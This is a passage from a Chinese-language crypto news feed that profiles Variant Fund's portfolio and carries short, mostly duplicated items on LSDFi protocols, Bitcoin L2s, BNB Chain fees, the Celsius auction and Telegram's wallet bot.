工作之前，Nina是OutCast Agency的客户总监，这家公关公司主要从事通信、创意和数字营销的业务。Dan Roberts从2011 年以来，一直在撰写加密相关的文章。在加入Variant并担任主编之前，他曾是加密新闻网站Decrypt的主编，领导编辑团队制定该网站的新闻策略，并策划和主持现场活动。 Variant Fund的投资赛道与关注方向 2022年8月，Variant宣布推出Variant Fund III，包括一个 3 亿美元的机会基金和专注投资早期创业项目的1.5 亿美元的种子基金。为了支持这项工作，Variant将其规模扩大了一倍，让团队扩大到拥有15名在DeFi、消费者和基础设施方面具有深厚专业知识的专业人员，并建立投资组合支持功能，以提供有关上市、代币设计、社区建设等方面的指导。 Variant认为加密货币将成为用户拥有的网络的基础，在该网络中，产品和服务会将其用户转变为所有者。其所配置的投资团队专业人员的重点研究方向，另一方面也表明了他们在加密行业关注的垂直细分领域。 Variant看重DeFi对金融赋能的潜力，其在赛道的重点方向具体包括： 市场 优先考虑安全、风险管理和主流消费者采用的稳定币 利用可组合性创建全新功能的金融原语，例如贷款优化器和 DEX 聚合器 连接传统金融系统与 DeFi 的金融产品，让新用户和机构跨越鸿沟 在基础设施与工具方面则是： Variant认为Web3 有可能以全新的方式满足用户需求，并相信web3应用程序将成为主流，其在这一领域重点聚焦： 解决各资本形态不同问题的项目，从投资到创意项目再到社会影响等 为实验赋能，使其治理更易于访问、参与和高效的工具 代币与NFT的新所有权形式重新定义了用户体验，这为新产品的功能和体验创造了设计空间。在这一方面，Variant关注方向为： 今年6月到8月，Variant将面向处于创业初期的Web3创始人，推出首届加速器计划“Variant Founder Fellowship”，选出 20 名创始人或团队，为他们在早期阶段提供支持。 据Variant官网介绍，其团队已经先后支持了数十个行业内的头部项目，这些项目如今已构成了他们的Variant Network，即一个由其投资组合中的创始人和领导者组成的、能让他们共同构建和学习的专业社区。Variant认为，基于网络的同伴学习模式，是最有效的一种阐释Web3在构建过程中出现的“优秀范例”的方式。在像加密这样的新兴和快速发展的行业中，领域内专家往往是处于创新前沿的建设者。到目前为止，Variant Network已有效促进了其在产品设计、代币策略、监管问题等主题上的学习。 建立在这种网络学习模型的基础上，Variant Founder Fellowship旨在通过邀请一批新兴创始人与Variant的投资组合的创始人一起构建与学习，来共同促进加密货币领域的更多创新。而将应对类似挑战的创业者彼此联系起来，会是支持加密初创项目团队的最佳方式之一。 虽然时下创业加速器项目已是五花八门，但很少有机构会针对加密领域创始人的不同需求去量身定制，这些不同类型项目，其“成功策略”也不尽相同。在Web3 中，诸如在社区建设、商业模式、代币分配等主题要素上，初创项目就无需遵循Web2的传统专业知识。基于此，Variant试图通过其加速器计划，有效利用其投资组合中如Uniswap、Flashbots、Foundation等项目的专家团队，为Web3创业者提供资源、经验和实践指导。 根据Variant官网介绍，Variant现已投资54个加密项目，基本均匀地分布在基础设施、DeFi、NFT等领域，其中不乏Aptos、Polygon、zkSync、Uniswap和Magic Eden等多个垂直领域的知名项目。以下将按照PANews《融资周报》专栏的分类方式，对这些项目归类，进行简要介绍并列出相关融资信息。（注：根据公开披露消息，在以下各领域投资组合的汇总列表中，所有项目Variant均参与过投资，但其仅在作为领投方或只参与项目多轮融资中的其中一轮时才会列出。） DeFi Aleo：数据隐私平台，其新计算系统 Zexe 通过链上验证帮助进行链下计算，以实现可扩展性和隐私性。2021年4月，完成2800万美元A轮融资，a16z领投，Galaxy Digital、 Variant等参投；2022年2月，完成由SoftBank和Kora Management领投的2亿美元B轮融资。 Aptos：layer 1公链项目，其主网于2022年10月上线。2022年3月，完成 2 亿美元的种子轮融资，a16z、Variant等参投。 Aztec Network：基于ZK Rollup的隐私和扩容解决方案，2021年12月，完成1700万美元A轮融资Paradigm领投，Variant、Vitalik Buterin等参投；2022年12月，完成由a16z领投的1亿美元B轮融资。 Matter Labs：以太坊扩展协议 zkSync 的母公司。2021年11月，完成5000万美元B轮融资，a16z领投；2022年12月，完成 2 亿美元C 轮融资。Blockchain Capital和Dragonfly领投，Variant和a16z参投。 Polygon：以太坊扩容解决方案。2022年2月，完成4.5亿美元融资，Sequoia india、Tiger Global、Variant等参投。 Scroll：以太坊原生 zkEVM 第 2 层解决方案。2023年3月，完成5000万美元融资，Polychain Capital、Sequoia China、Variant等参投。 Burrata：专注于合规的加密初创公司，旨在通过创建必要的工具和基础设施，在不建立 PII 服务器的情况下检查其所有合规性。2021年12月，完成775万美元融资，Stripe、Variant等参投。 Ceramic：去中心化网络存储协议。2022年2月，完成3000万美元A轮融资，由Multicoin Capital和Union Square Ventures领投，Variant、Jump Crypto等参投。 DIMO：一个基于区块链的汽车平台，让司机可通过共享车辆数据以换取代币。2022年2月，完成 900 万美元的种子轮融资，CoinFund、Variant等参投。 Entropy：去中心化和无需信任的托管解决方案。2022年6月，完成2500 万美元的种子轮融资，Dragonfly Capital、Variant等参投。 Flashbots：以太坊研究和开发公司，旨在为MEV提取实现一个无需许可、透明和公平的生态系统。据 The Block报道，其计划筹集 3000 万至 5000 万美元，而Paradigm已承诺牵头投资，Variant也是其投资者，融资细节尚未披露。 Hyperlane：跨链应用构建平台。2022年9月，完成1850万美元融资，Variant领投，Galaxy Digital、CoinFund等参投。 Turnkey：私钥管理和安全保护的解决方案。2023年3月，完成750万美元的种子轮融资，Sequoia、Variant等参投。 Worldcoin：OpenAI首席执行官Sam Altman创立的加密公司。2021年6月，完成2500万美元融资，a16z参投。据The Block报道，Worldcoin计划以30亿美元估值融资至多1.2亿美元。 Boardroom：治理和管理平台，旨在改进跨加密网络的分布式决策。2020年10月，完成220万美元融资，Standard Crypto领投，Variant、CoinFund、Framework和Slow Ventures参投。 Phantom：Solana生态加密钱包。2022年2月，以12亿美元估值完成了1.09亿美元B轮融资，Paradigm领投，a16z、Variant等参投。 NFT FingerprintsDAO：收藏家组织，致力于策划、收集使用智能合约创作的艺术品，并生成对应的区块链指纹。2021年9月宣布完成融资，金额暂未披露，参投方包括a16z、Variant等。 Braintrust：Web3人才招聘平台。2020年10月，完成1800万美元融资，ACME和Blockchange领投，Variant等参投。2021年12月，其通过出售私人代币融资1亿美元，本轮融资由Coatue领投，Tiger Global等参投。 Coordinape：让DAO轻松、公平地向贡献者分配资源的平台。它允许其 DAO 成员相互奖励，并通过激励参与使社区支付更加公平和透明。 Friends with Benefits：一种新型DAO和社交俱乐部。2021年10月，a16z宣布对其进行投资并提供指导，金额未公布，Variant也是其投资者。 IndiGG：游戏公会YGG旗下的印度subDAO。2022年1月，完成600万美元种子轮融资，Sequoia India、Jump Capital和Variant等参投。 Mirror：去中心化内容发布平台，支持文章内容中嵌入并展示PFP、艺术和音乐类型的NFT。是Variant官方公布的投资组合，但并未找到具体融资信息。 PleasrDAO：围绕加密艺术品收藏的去中心化自治组织。2021年12月，其得到了a16z投资，它也是Variant官方公布的投资组合，但具体金额均未透露；2022年1月，The Block报道称其计划筹集6900万美元； Shibuya：数字艺术家 Emily Yang推出的 Web3 视频平台 。2022年12月，完成690万美元融资，a16z Crypto和Variant 领投，蔡崇信等参投。 Syndicate：去中心化投资平台。2021年8月，完成由a16z领投的2000万美元A轮融资，Variant参投；2022年5月，完成600万美元融资，a16z、OpenSea等参投。 Koop：专注于创造者经济的 Web3 协议。2022年8月，完成500万美元融资，1confirmation 和 Variant Fund领投。  ( 5 min )
    LSDFi创新不断，盘点值得关注的4类早期项目
    在之前的文章《LSD 套娃战争再升级：不仅要有流动性，还要追求高收益》中提到了三个LSDFi协议：YFI、PENDLE和AURA，随着以太坊上海升级的完成，更多的LSDFi协议涌现出来，并取得较好的表现。 Agility 就是一个很好的例子。在上线的这段时间中，Agility 凭借着高额流动性挖矿收益，吸引了 4 亿美金的 TVL。其实在上篇文章中的标题中，我们已经点出了 LSDFi 最关键的一环：追求高收益。如果我们再深入引申，那便是追求更高的资本效率，即在同等条件下，通过最小化成本或者最大化产出，达到更有效地利用资本的目的。 随着时间的推进，更多的 LSDFi 协议被推出。接下来，我们就来介绍几个值得关注的 LSDFi 协议，并详解拆解其逻辑。 EigenLayer是一个以太坊再质押协议，协议允许质押者将他们的 ETH 重新质押到新的智能合约中，并通过ETH来保护其他网络的安全，比如维护侧链、跨链桥以及中间件的安全。除了能够提升ETH质押者的收益来源外，在广泛的意义上，EigenLayer 能够促进更多的开发者基于以太坊再质押构建侧链、跨链桥和中间件，从而促进以太坊生态的进一步发展。 目前 EigenLayer 已经上线非激励性测试网，感兴趣的朋友可以查看攻略进行交互。 另外值得一提的是，Ion Protocol是一个基于以太坊质押头寸构建的 CDP 协议。协议希望能够接受不同类型的流动性抵押代币 (LST) 和 EigenLayer 抵押资产支持头寸的存款，在将这些资产合称为 allETH 后，使用 vaETH 来追踪 allETH 的收益。协议目标是整合所有的以太坊流动性质押衍生品，并完成收益聚合。 unshETH 是一个通过流动性激励来促进以太坊质押验证去中心化的 LSDFi 协议。unshETH 引入了两个概念，分别是验证者去中心化挖矿（vdMining）和验证者支配期权（VDOs）。 vdMining 我们可以将其理解为一种流动性激励套娃，纯套娃是无法做到可持续性挖矿的，因此 vdMining 引入了去中心化激励的概念。用通俗的话来讲就是，vdMining 通过治理设定了一个 ODR（最佳去中心化比例），如果 CR（当前比例）越接近 ODR，那么池子里所有的用户的挖矿奖励就越多。如此做法就是为了激励用户通过质押ETH 到更加去中心化的 LSD 协议中，从而推动以太坊质押赛道整体的去中心化。 我们在上面提到了 ODR 的概念，而在 ODR 中占据主导地位的 LSD 资产持有者可以针对对应 LSD 资产编写 VDOs，非主导地位的 LSD 持有者可以通过 unshETH DAO 购买。我个人的理解是，VDOs 代表了你在到期日的行权资格，盈利和亏损取决于 CR，到期日 LSD 资产占比更接近于 ODR，则盈利。 这为那些非主导地位的 LSD 资产持有者提供了额外的收益渠道。VDOs 的最终目标是通过增加一个二级市场来更好地调整 CR 的数值。当然，这只是我的个人理解，一切以协议最终产品情况为准。 Lybra 是一个超额抵押稳定币协议。除了常规的超额抵押、清算、套利外，与 MakerDAO、Liquity 不同的是，Lybra 通过抵押生息资产 stETH 来铸造生息稳定币eUSD。Lybra 通过将 stETH 产生的利息 stETH 转化为 eUSD，并分配给 eUSD Holder 和 Lybra Token 质押者。 本质上，Lybra 是通过稳定币 eUSD 来捕获以太坊质押的收益。eUSD 的安全质押率为 160%，APY 为 7.2%。如果在最理想的条件（1.6 美元的 stETH 铸造 1 美元的eUSD）来计算下，eUSD 的利润效率略少于 stETH。但是，eUSD 是流动资产，持有者可以通过 eUSD 在 DeFi 协议中获得更多的利润，从而为 Lybra 协议的质押者提供更高的资本效率。 从另一个角度来看，Lybra 其实是在帮助以太坊质押参与者提前将未来的利息变现。 不过，Lybra在4月20日IDO前受到了社区的广泛质疑，其原因是资金来源于Tornado、IDO合约前端设置了存款上限而后端没有，以及在IDO结束用户领币前Lybra团队便可以将募集资金提走。尽管受到了FUD，但Lybra IDO代币依然在1分钟内售罄。 Index Coop 推出了三个 LSD 相关的指数产品。 第一个产品名为dsETH指数。dsETH将由rETH（Rocket Pool）、wrapped stETH（Lido）和sETH2（StakeWise）组成。这样设计的目的是为了降低单个LST的风险，并稳定整体代币范围内的回报。目前dsETH的质押数量为800枚ETH，APY为4.93%。 Index Coop 第二个 LSD 相关的指数产品名为 icETH 指数。icETH的设计思路是通过借贷协议 Aave 来为以太坊质押者增加杠杆，以获得更高的收益。它为 icETH 持有者提供了一种杠杆敞口，并通过自动化杠杆管理来降低手动管理杠杆所需的风险和工作量。简单来讲，购买 icETH 产品后，协议会将 stETH 存入 Aave 作为借出 ETH 的抵押品。之后，协议将借出 ETH 转化为 stETH，并存入 Aave 来创建杠杆头寸。目前，icETH 的质押数量为 10139 枚 ETH，APY 为 9.79%。 dsETH、icETH 将汇集「质押层」（验证奖励）和「执行层」（DeFi 利润）所捕获的价值。 第三个产品名为 gtcETH 指数。gtcETH 是由 Gitcoin 和 Index Coop 共同推出的一个指数产品。gtcETH 推出的目的并非将收益最大化，而是质押者可以通过与 Gitcoin 共享质押奖励来促进公共产品的融资。 从我的角度来理解，将 Index Coop 置入本篇文章的原因在于其产品运行逻辑足够简单，产品的理解门槛也足够低。虽然 icETH 的收益并不夸张，但是自动化杠杆执行将帮助更多的投资者轻松地获得更高的质押奖励。 说到底，所有LSDFi产品的目标都是推动以太坊质押资本效率的提升，但是在其中我们也可以看到许多细分领域的出现： 因上海升级而产生的短期以太坊价格变化并不会影响LSD赛道和LSDFi赛道的潜力。不可否认的是，LSD资产和LSDFi应用已经成为了以太坊生态的重要组成部分。  ( 3 min )
    LSDFi创新不断，盘点值得关注的4类早期项目
    在之前的文章《LSD 套娃战争再升级：不仅要有流动性，还要追求高收益》中提到了三个LSDFi协议：YFI、PENDLE和AURA，随着以太坊上海升级的完成，更多的LSDFi协议涌现出来，并取得较好的表现。 Agility 就是一个很好的例子。在上线的这段时间中，Agility 凭借着高额流动性挖矿收益，吸引了 4 亿美金的 TVL。其实在上篇文章中的标题中，我们已经点出了 LSDFi 最关键的一环：追求高收益。如果我们再深入引申，那便是追求更高的资本效率，即在同等条件下，通过最小化成本或者最大化产出，达到更有效地利用资本的目的。 随着时间的推进，更多的 LSDFi 协议被推出。接下来，我们就来介绍几个值得关注的 LSDFi 协议，并详解拆解其逻辑。 EigenLayer是一个以太坊再质押协议，协议允许质押者将他们的 ETH 重新质押到新的智能合约中，并通过ETH来保护其他网络的安全，比如维护侧链、跨链桥以及中间件的安全。除了能够提升ETH质押者的收益来源外，在广泛的意义上，EigenLayer 能够促进更多的开发者基于以太坊再质押构建侧链、跨链桥和中间件，从而促进以太坊生态的进一步发展。 目前 EigenLayer 已经上线非激励性测试网，感兴趣的朋友可以查看攻略进行交互。 另外值得一提的是，Ion Protocol是一个基于以太坊质押头寸构建的 CDP 协议。协议希望能够接受不同类型的流动性抵押代币 (LST) 和 EigenLayer 抵押资产支持头寸的存款，在将这些资产合称为 allETH 后，使用 vaETH 来追踪 allETH 的收益。协议目标是整合所有的以太坊流动性质押衍生品，并完成收益聚合。 unshETH 是一个通过流动性激励来促进以太坊质押验证去中心化的 LSDFi 协议。unshETH 引入了两个概念，分别是验证者去中心化挖矿（vdMining）和验证者支配期权（VDOs）。 vdMining 我们可以将其理解为一种流动性激励套娃，纯套娃是无法做到可持续性挖矿的，因此 vdMining 引入了去中心化激励的概念。用通俗的话来讲就是，vdMining 通过治理设定了一个 ODR（最佳去中心化比例），如果 CR（当前比例）越接近 ODR，那么池子里所有的用户的挖矿奖励就越多。如此做法就是为了激励用户通过质押ETH 到更加去中心化的 LSD 协议中，从而推动以太坊质押赛道整体的去中心化。 我们在上面提到了 ODR 的概念，而在 ODR 中占据主导地位的 LSD 资产持有者可以针对对应 LSD 资产编写 VDOs，非主导地位的 LSD 持有者可以通过 unshETH DAO 购买。我个人的理解是，VDOs 代表了你在到期日的行权资格，盈利和亏损取决于 CR，到期日 LSD 资产占比更接近于 ODR，则盈利。 这为那些非主导地位的 LSD 资产持有者提供了额外的收益渠道。VDOs 的最终目标是通过增加一个二级市场来更好地调整 CR 的数值。当然，这只是我的个人理解，一切以协议最终产品情况为准。 Lybra 是一个超额抵押稳定币协议。除了常规的超额抵押、清算、套利外，与 MakerDAO、Liquity 不同的是，Lybra 通过抵押生息资产 stETH 来铸造生息稳定币eUSD。Lybra 通过将 stETH 产生的利息 stETH 转化为 eUSD，并分配给 eUSD Holder 和 Lybra Token 质押者。 本质上，Lybra 是通过稳定币 eUSD 来捕获以太坊质押的收益。eUSD 的安全质押率为 160%，APY 为 7.2%。如果在最理想的条件（1.6 美元的 stETH 铸造 1 美元的eUSD）来计算下，eUSD 的利润效率略少于 stETH。但是，eUSD 是流动资产，持有者可以通过 eUSD 在 DeFi 协议中获得更多的利润，从而为 Lybra 协议的质押者提供更高的资本效率。 从另一个角度来看，Lybra 其实是在帮助以太坊质押参与者提前将未来的利息变现。 不过，Lybra在4月20日IDO前受到了社区的广泛质疑，其原因是资金来源于Tornado、IDO合约前端设置了存款上限而后端没有，以及在IDO结束用户领币前Lybra团队便可以将募集资金提走。尽管受到了FUD，但Lybra IDO代币依然在1分钟内售罄。 Index Coop 推出了三个 LSD 相关的指数产品。 第一个产品名为dsETH指数。dsETH将由rETH（Rocket Pool）、wrapped stETH（Lido）和sETH2（StakeWise）组成。这样设计的目的是为了降低单个LST的风险，并稳定整体代币范围内的回报。目前dsETH的质押数量为800枚ETH，APY为4.93%。 Index Coop 第二个 LSD 相关的指数产品名为 icETH 指数。icETH的设计思路是通过借贷协议 Aave 来为以太坊质押者增加杠杆，以获得更高的收益。它为 icETH 持有者提供了一种杠杆敞口，并通过自动化杠杆管理来降低手动管理杠杆所需的风险和工作量。简单来讲，购买 icETH 产品后，协议会将 stETH 存入 Aave 作为借出 ETH 的抵押品。之后，协议将借出 ETH 转化为 stETH，并存入 Aave 来创建杠杆头寸。目前，icETH 的质押数量为 10139 枚 ETH，APY 为 9.79%。 dsETH、icETH 将汇集「质押层」（验证奖励）和「执行层」（DeFi 利润）所捕获的价值。 第三个产品名为 gtcETH 指数。gtcETH 是由 Gitcoin 和 Index Coop 共同推出的一个指数产品。gtcETH 推出的目的并非将收益最大化，而是质押者可以通过与 Gitcoin 共享质押奖励来促进公共产品的融资。 从我的角度来理解，将 Index Coop 置入本篇文章的原因在于其产品运行逻辑足够简单，产品的理解门槛也足够低。虽然 icETH 的收益并不夸张，但是自动化杠杆执行将帮助更多的投资者轻松地获得更高的质押奖励。 说到底，所有LSDFi产品的目标都是推动以太坊质押资本效率的提升，但是在其中我们也可以看到许多细分领域的出现： 因上海升级而产生的短期以太坊价格变化并不会影响LSD赛道和LSDFi赛道的潜力。不可否认的是，LSD资产和LSDFi应用已经成为了以太坊生态的重要组成部分。  ( 3 min )
    Bluesky推出短期身份验证解决方案App Password
    PANews 4月23日消息，据官方博客，由Twitter资助的去中心化社交项目Bluesky发布短期身份验证解决方案App Password，可让用户试用新客户端，而无需完全信任他们的密码。从长远来看，Bluesky计划实施具有范围权限的 SSO（单点登录）。 Bluesky称，其核心开发团队目前专注于完成AT协议，如3月更新所述，未来几个月优先事项是域名作为用户名和帐户可转让性、可组合的审核和声誉系统、算法选择和自定feeds。  ( 1 min )
    Bluesky推出短期身份验证解决方案App Password
    PANews 4月23日消息，据官方博客，由Twitter资助的去中心化社交项目Bluesky发布短期身份验证解决方案App Password，可让用户试用新客户端，而无需完全信任他们的密码。从长远来看，Bluesky计划实施具有范围权限的 SSO（单点登录）。 Bluesky称，其核心开发团队目前专注于完成AT协议，如3月更新所述，未来几个月优先事项是域名作为用户名和帐户可转让性、可组合的审核和声誉系统、算法选择和自定feeds。  ( 1 min )
    Andre Cronje透露其正致力于加密支付基础设施和加密友好银行项目
    PANews 4月23日消息，Fantom创始人Andre Cronje透露其正致力于加密支付基础设施项目，并已推出该产品的封闭测试版，并计划在今年晚些时候向公众开放其加密友好银行。 在针对一推特用户抱怨数字银行Revolut对加密并不友好，Fantom创始人Andre Cronje回复称：“你是需要一张卡，还是只需要支付基础设施？如果是支付基础设施，我可以将你添加到我们的封闭测试版中。如果是卡，那将在2023年底之前可用，加密友好银行将在今年内向公众开放。”Cronje还补充道，考虑到美国的立场，这些产品可能不会向美国公民开放，且无法避免KYC。  ( 1 min )
    Andre Cronje透露其正致力于加密支付基础设施和加密友好银行项目
    PANews 4月23日消息，Fantom创始人Andre Cronje透露其正致力于加密支付基础设施项目，并已推出该产品的封闭测试版，并计划在今年晚些时候向公众开放其加密友好银行。 在针对一推特用户抱怨数字银行Revolut对加密并不友好，Fantom创始人Andre Cronje回复称：“你是需要一张卡，还是只需要支付基础设施？如果是支付基础设施，我可以将你添加到我们的封闭测试版中。如果是卡，那将在2023年底之前可用，加密友好银行将在今年内向公众开放。”Cronje还补充道，考虑到美国的立场，这些产品可能不会向美国公民开放，且无法避免KYC。  ( 1 min )
    L2网络与比特币生态系统的新可能性
    比特币虽然长期以来一直被视为安全和去中心化的价值存储，或者“数字黄金”，但不得不承认它支持更高级应用的潜力仍然相对未被开发。 我们需要思考：比特币生态系统是否有创新？它仍然只是数字黄金，还是有其他应用场景？ 答案是肯定的：NFT、稳定币、DeFi等应用，都开始在比特币网络上出现。 未经优化的L1，使得dApp的构建和应用变得笨重和低效。L2的出现，正在使得一些事情可用和高效。在L2上构建应用，在L1实现价值。 L2的出现，如Stacks、闪电网络和RSK，使比特币即将开启新的可能性。 L2为利用比特币庞大的用户群和资本池提供了巨大机会，随着越来越多的开发人员和用户向它们靠拢，比特币成为创新和创造力中心的潜力也越来越大。 比特币社区历来抵制变革，经常坚持“极端主义”思维方式，即比特币应该保持简单，并且只有一个目的：去中心化的数字价值存储。 这种思维方式导致一些人担心和质疑比特币的长期安全性。他们认为，依赖“价格上涨”作为长期安全论点并不可持续。为了保护比特币网络，比特币矿工必须有足够的激励继续挖掘，否则整个网络将面临失败的风险。 每四年一次，分发给矿工的比特币数量会减半。这个事件被称为“减半”。历史上，减半事件促使比特币价格飙升，这意味着矿工仍然很乐意继续挖掘。矿工收到的比特币数量减少，但是价值增加了2倍、3倍，甚至是10倍！ “数字货币价格上涨”并不是一种可持续的长期安全模型。如果要实现这一点，比特币价格需要至少每四年翻倍一次。如果比特币价格在每次减半时都翻倍，那么在短短的二十年内，其价格将超过全球 M2 货币供应总量。随着长期安全挑战的日益明显，许多社区成员开始采用更加灵活的方法，拥抱创造力和创新。 Ordinals（一种 NFT 协议）的推出和比特币命名服务（BNS）在 Stacks 的 L2 上越来越受欢迎，是比特币新文化运动的典型例子。下面我们将更详细地探讨这些例子！ 同时，我们必须考虑到比特币日历上最重要的事件即将到来。减半一直是所有人都关注的时间点。迄今为止，获得与此事件相关的唯一方法就是购买比特币。然而，随着网络中新发生的创造性和创新，会有更多的应用涌现。 Stacks是一个Layer-1区块链解决方案，被设计为与比特币网络协同工作。它可以执行智能合约并在比特币区块链上创建去中心化应用程序（dApps），从而扩展网络的功能和实用性。 大多数在比特币上出现的新创新都是在后端使用Stacks。 比特币名称系统（BNS）正在创新人们与比特币地址互动的方式。就像域名服务（DNS）将复杂的IP地址转换为易于使用的文本使互联网更加用户友好一样，BNS将复杂的钱包地址转换为人类可读的格式。 由于先前的安全升级，用户现在能够在一个 Satoshi 上记录数据，有效地创建一个 NFT，因此开发人员急忙在比特币网络上建立自己的 NFT 集合。 Ordinals 充分利用了这种新的热潮，并创建了一个协议，允许用户创建、购买和销售以比特币为支持的 NFT。它们现在已成为希望在比特币网络上发布 NFT 的项目的首选协议。 Trustless Computer为开发人员赋予了在比特币上构建去中心化应用程序的能力。利用Trustless Computer，开发人员可以构建 DAO、DEX、NFT、代币、拍卖、借贷平台、存储解决方案等各种 dApp。 通过类似 Taproot 的交易，将任何数据嵌入比特币区块链现在是可行的，确保在比特币网络上进行永久存储并继承其特性，如可访问性和不可变性。无信任计算机正在努力实现一个在比特币网络上运行的 Turing-Complete 虚拟机。 DAOrayaki是一个由社区拥有、永续存在的去中心化媒体协议。通过构建关键的媒体组件，支持各类媒体自由的策展、创作、出版和报道。欢迎通过以下方式提交DAO、Web3、量子计算、星际移民等相关话题的策展并获得资助。  ( 2 min )
    L2网络与比特币生态系统的新可能性
    比特币虽然长期以来一直被视为安全和去中心化的价值存储，或者“数字黄金”，但不得不承认它支持更高级应用的潜力仍然相对未被开发。 我们需要思考：比特币生态系统是否有创新？它仍然只是数字黄金，还是有其他应用场景？ 答案是肯定的：NFT、稳定币、DeFi等应用，都开始在比特币网络上出现。 未经优化的L1，使得dApp的构建和应用变得笨重和低效。L2的出现，正在使得一些事情可用和高效。在L2上构建应用，在L1实现价值。 L2的出现，如Stacks、闪电网络和RSK，使比特币即将开启新的可能性。 L2为利用比特币庞大的用户群和资本池提供了巨大机会，随着越来越多的开发人员和用户向它们靠拢，比特币成为创新和创造力中心的潜力也越来越大。 比特币社区历来抵制变革，经常坚持“极端主义”思维方式，即比特币应该保持简单，并且只有一个目的：去中心化的数字价值存储。 这种思维方式导致一些人担心和质疑比特币的长期安全性。他们认为，依赖“价格上涨”作为长期安全论点并不可持续。为了保护比特币网络，比特币矿工必须有足够的激励继续挖掘，否则整个网络将面临失败的风险。 每四年一次，分发给矿工的比特币数量会减半。这个事件被称为“减半”。历史上，减半事件促使比特币价格飙升，这意味着矿工仍然很乐意继续挖掘。矿工收到的比特币数量减少，但是价值增加了2倍、3倍，甚至是10倍！ “数字货币价格上涨”并不是一种可持续的长期安全模型。如果要实现这一点，比特币价格需要至少每四年翻倍一次。如果比特币价格在每次减半时都翻倍，那么在短短的二十年内，其价格将超过全球 M2 货币供应总量。随着长期安全挑战的日益明显，许多社区成员开始采用更加灵活的方法，拥抱创造力和创新。 Ordinals（一种 NFT 协议）的推出和比特币命名服务（BNS）在 Stacks 的 L2 上越来越受欢迎，是比特币新文化运动的典型例子。下面我们将更详细地探讨这些例子！ 同时，我们必须考虑到比特币日历上最重要的事件即将到来。减半一直是所有人都关注的时间点。迄今为止，获得与此事件相关的唯一方法就是购买比特币。然而，随着网络中新发生的创造性和创新，会有更多的应用涌现。 Stacks是一个Layer-1区块链解决方案，被设计为与比特币网络协同工作。它可以执行智能合约并在比特币区块链上创建去中心化应用程序（dApps），从而扩展网络的功能和实用性。 大多数在比特币上出现的新创新都是在后端使用Stacks。 比特币名称系统（BNS）正在创新人们与比特币地址互动的方式。就像域名服务（DNS）将复杂的IP地址转换为易于使用的文本使互联网更加用户友好一样，BNS将复杂的钱包地址转换为人类可读的格式。 由于先前的安全升级，用户现在能够在一个 Satoshi 上记录数据，有效地创建一个 NFT，因此开发人员急忙在比特币网络上建立自己的 NFT 集合。 Ordinals 充分利用了这种新的热潮，并创建了一个协议，允许用户创建、购买和销售以比特币为支持的 NFT。它们现在已成为希望在比特币网络上发布 NFT 的项目的首选协议。 Trustless Computer为开发人员赋予了在比特币上构建去中心化应用程序的能力。利用Trustless Computer，开发人员可以构建 DAO、DEX、NFT、代币、拍卖、借贷平台、存储解决方案等各种 dApp。 通过类似 Taproot 的交易，将任何数据嵌入比特币区块链现在是可行的，确保在比特币网络上进行永久存储并继承其特性，如可访问性和不可变性。无信任计算机正在努力实现一个在比特币网络上运行的 Turing-Complete 虚拟机。 DAOrayaki是一个由社区拥有、永续存在的去中心化媒体协议。通过构建关键的媒体组件，支持各类媒体自由的策展、创作、出版和报道。欢迎通过以下方式提交DAO、Web3、量子计算、星际移民等相关话题的策展并获得资助。  ( 2 min )
    BNB Chain：BSC上交易手续费成本已降至3 Gwei
    PANews 4月23日消息，BNB Chain近日在推特上宣布，根据社区提案，BSC验证者已将交易成本从5 Gwei降低到3 Gwei。 此前3月29日消息，BNB Chain社区新提案提议降低BSC上交易手续费成本以增强竞争力，并称这将使BSC L1比其他生态系统的L2解决方案更具吸引力。 相关阅读：BNB Chain降低GAS费提案背后：Layer2扩张迅速，BNB社区急了  ( 1 min )
    BNB Chain：BSC上交易手续费成本已降至3 Gwei
    PANews 4月23日消息，BNB Chain近日在推特上宣布，根据社区提案，BSC验证者已将交易成本从5 Gwei降低到3 Gwei。 此前3月29日消息，BNB Chain社区新提案提议降低BSC上交易手续费成本以增强竞争力，并称这将使BSC L1比其他生态系统的L2解决方案更具吸引力。 相关阅读：BNB Chain降低GAS费提案背后：Layer2扩张迅速，BNB社区急了  ( 1 min )
    Celsius现场拍卖将于4月25日举行，将有NovaWulf等3家竞标者参与
    PANews 4月23日消息，Celsius无担保债权人官方委员会在推特上表示，现场拍卖将于4月25日举行，投标人包括数字资产投资公司NovaWulf、Fahrenheit, LLC和区块链复苏投资委员会。 据悉，Fahrenheit股权由Arrington Capital、U.S. Data Mining Group、Proof Group Capital Management、Steven Kokinos和Ravi Kaza直接或间接拥有；区块链复苏投资委员会包括Van Eck Absolute Return Advisers公司、Global X Digital或其附属公司、Abra和Gemini信托公司。 Celsius的竞标程序计划已获美国联邦法官和纽约南部地区美国破产法院的批准。根据竞标程序的命令，与委员会协商的债务人已根据合理的酌处权确定进行拍卖将最大化债务人的价值。  ( 1 min )
    Celsius现场拍卖将于4月25日举行，将有NovaWulf等3家竞标者参与
    PANews 4月23日消息，Celsius无担保债权人官方委员会在推特上表示，现场拍卖将于4月25日举行，投标人包括数字资产投资公司NovaWulf、Fahrenheit, LLC和区块链复苏投资委员会。 据悉，Fahrenheit股权由Arrington Capital、U.S. Data Mining Group、Proof Group Capital Management、Steven Kokinos和Ravi Kaza直接或间接拥有；区块链复苏投资委员会包括Van Eck Absolute Return Advisers公司、Global X Digital或其附属公司、Abra和Gemini信托公司。 Celsius的竞标程序计划已获美国联邦法官和纽约南部地区美国破产法院的批准。根据竞标程序的命令，与委员会协商的债务人已根据合理的酌处权确定进行拍卖将最大化债务人的价值。  ( 1 min )
    Telegram钱包机器人推出支持购买、提取和交易比特币的Web界面
    PANews 4月23日消息，根据Telegram钱包机器人@wallet 4月21日发布的公告，该机器人推出了一项功能更新，@wallet用户现在可以直接通过其更新的Web界面购买、提取、交易比特币以及进行比特币P2P交易。之前，比特币只能在文本机器人中访问，但现在@wallet中所有用户都将能够使用该Web界面。此外该平台的新特性之一是更新的交易接口。通过这个新的钱包交易接口，用户可即时交易BTC、USDT和TON代币。此外，交换对总数增加到6个。 此前去年4月消息，TON基金会已向Telegram添加了加密支付功能，用户可通过Telegram“@wallet（钱包）”机器人功能购买比特币。去年11月消息，Telegram钱包机器人已支持在应用聊天界面直接交易TON代币。  ( 1 min )
    Telegram钱包机器人推出支持购买、提取和交易比特币的Web界面
